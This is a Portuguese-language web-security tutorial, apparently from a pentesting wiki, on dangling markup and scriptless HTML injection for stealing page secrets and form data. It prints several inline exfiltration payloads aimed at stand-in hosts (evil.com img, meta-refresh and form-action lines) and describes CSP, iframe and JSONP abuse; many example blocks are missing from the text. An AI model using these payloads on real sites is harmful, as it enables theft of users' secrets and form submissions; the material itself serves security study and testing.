Dangling Markup - HTML scriptless injection
Resumo
Essa técnica pode ser usada para extrair informações de um usuário quando uma injeção HTML é encontrada. Isso é muito útil se você não encontrar nenhuma maneira de explorar um XSS mas puder injetar algumas tags HTML. Também é útil se algum segredo estiver salvo em texto claro no HTML e você quiser exfiltrá-lo do cliente, ou se quiser enganar a execução de algum script.
Várias técnicas comentadas aqui podem ser usadas para contornar algumas Políticas de Segurança de Conteúdo extraindo informações de maneiras inesperadas (tags html, CSS, tags http-meta, formulários, base...).
Principais Aplicações
Roubo de segredos em texto claro
Se você injetar <img src='http://evil.com/log.cgi?
quando a página é carregada, a vítima enviará todo o código entre a tag img
injetada e a próxima aspas dentro do código. Se um segredo estiver de alguma forma localizado nesse trecho, você o roubará (você pode fazer a mesma coisa usando aspas duplas, veja qual poderia ser mais interessante de usar).
Se a tag img
for proibida (devido a CSP, por exemplo), você também pode usar <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
Note que o Chrome bloqueia URLs HTTP com "<" ou "\n" nele, então você pode tentar outros esquemas de protocolo como "ftp".
Você também pode abusar do CSS @import
(irá enviar todo o código até encontrar um ";")
Você também pode usar <table
:
Você também pode inserir uma tag <base
. Todas as informações serão enviadas até que a citação seja fechada, mas isso requer alguma interação do usuário (o usuário deve clicar em algum link, pois a tag base terá alterado o domínio apontado pelo link):
Roubo de formulários
Em seguida, os formulários que enviam dados para o caminho (como <form action='update_profile.php'>
) enviarão os dados para o domínio malicioso.
Roubo de formulários 2
Defina um cabeçalho de formulário: <form action='http://evil.com/log_steal'>
isso irá sobrescrever o próximo cabeçalho do formulário e todos os dados do formulário serão enviados para o atacante.
Roubo de formulários 3
O botão pode alterar o URL para onde as informações do formulário serão enviadas com o atributo "formaction":
Um atacante pode usar isso para roubar as informações.
Encontre um exemplo desse ataque neste artigo.
Roubo de segredos em texto claro 2
Usando a técnica mencionada anteriormente para roubar formulários (injetando um novo cabeçalho de formulário), você pode então injetar um novo campo de entrada:
e este campo de entrada conterá todo o conteúdo entre suas aspas duplas e as próximas aspas duplas no HTML. Este ataque mistura "Roubo de segredos de texto claro" com "Roubo de formulários2".
Você pode fazer a mesma coisa injetando um formulário e uma tag <option>
. Todos os dados até encontrar um </option>
fechado serão enviados:
Injeção de parâmetro de formulário
Você pode alterar o caminho de um formulário e inserir novos valores para que uma ação inesperada seja realizada:
Roubo de segredos em texto claro via noscript
<noscript></noscript>
é uma tag cujo conteúdo será interpretado se o navegador não suportar javascript (você pode ativar/desativar o Javascript no Chrome em chrome://settings/content/javascript).
Uma maneira de exfiltrar o conteúdo da página da web a partir do ponto de injeção até o final para um site controlado pelo atacante será injetar isso:
Bypassing CSP com interação do usuário
A partir dessa pesquisa da portswiggers você pode aprender que mesmo nos ambientes mais restritos pelo CSP ainda é possível exfiltrar dados com alguma interação do usuário. Nesta ocasião, vamos usar o payload:
Note que você vai pedir à vítima para clicar em um link que irá redirecioná-la para um payload controlado por você. Também observe que o atributo target
dentro da tag base
conterá conteúdo HTML até a próxima aspa simples.
Isso fará com que o valor de window.name
se o link for clicado seja todo esse conteúdo HTML. Portanto, como você controla a página para onde a vítima está acessando ao clicar no link, você pode acessar esse window.name
e extrair esses dados:
Ataque de namespace HTML enganoso 1
Insira uma nova tag com um id dentro do HTML que irá sobrescrever a próxima e com um valor que afetará o fluxo de um script. Neste exemplo, você está selecionando com quem uma informação será compartilhada:
Fluxo de script enganoso 2 - Ataque de namespace de script
Crie variáveis dentro do namespace javascript inserindo tags HTML. Em seguida, essa variável afetará o fluxo da aplicação:
Abuso de JSONP
Se você encontrar uma interface JSONP, poderá chamar uma função arbitrária com dados arbitrários:
Ou até mesmo tentar executar algum javascript:
Uso indevido de Iframe
Um documento filho possui a capacidade de visualizar e modificar a propriedade location
de seu pai, mesmo em situações de origens cruzadas. Isso permite a incorporação de um script dentro de um iframe que pode redirecionar o cliente para uma página arbitrária:
Isso pode ser mitigado com algo como: sandbox=' allow-scripts allow-top-navigation'
Um iframe também pode ser abusado para vazar informações sensíveis de uma página diferente usando o atributo de nome do iframe. Isso ocorre porque você pode criar um iframe que se auto-iframe abusando da injeção de HTML que faz com que as informações sensíveis apareçam dentro do atributo de nome do iframe e então acessar esse nome do iframe inicial e vazá-lo.
Para mais informações, consulte https://portswigger.net/research/bypassing-csp-with-dangling-iframes
Abuso de <meta
Você pode usar meta http-equiv
para realizar várias ações como definir um Cookie: <meta http-equiv="Set-Cookie" Content="SESSID=1">
ou realizar um redirecionamento (em 5s neste caso): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Isso pode ser evitado com um CSP relacionado ao http-equiv (Content-Security-Policy: default-src 'self';
, ou Content-Security-Policy: http-equiv 'self';
)
Novo tag HTML <portal
Você pode encontrar uma pesquisa muito interessante sobre vulnerabilidades exploráveis da tag <portal aqui.
No momento desta escrita, você precisa habilitar a tag portal no Chrome em chrome://flags/#enable-portals
ou não funcionará.
Vazamentos de HTML
Nem todas as formas de vazamento de conectividade em HTML serão úteis para o Dangling Markup, mas às vezes poderia ajudar. Verifique-os aqui: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
Vazamentos SS
Este é uma mistura entre dangling markup e XS-Leaks. De um lado, a vulnerabilidade permite injetar HTML (mas não JS) em uma página da mesma origem da que estaremos atacando. Por outro lado, não iremos atacar diretamente a página onde podemos injetar HTML, mas sim outra página.
pageSS-LeaksXS-Search/XS-Leaks
XS-Search é orientado para exfiltrar informações de origens cruzadas abusando de ataques de canal lateral. Portanto, é uma técnica diferente do Dangling Markup, no entanto, algumas das técnicas abusam da inclusão de tags HTML (com e sem execução de JS), como Injeção de CSS ou Carregamento Preguiçoso de Imagens.
pageXS-Search/XS-LeaksLista de Detecção de Força Bruta
Referências
Last updated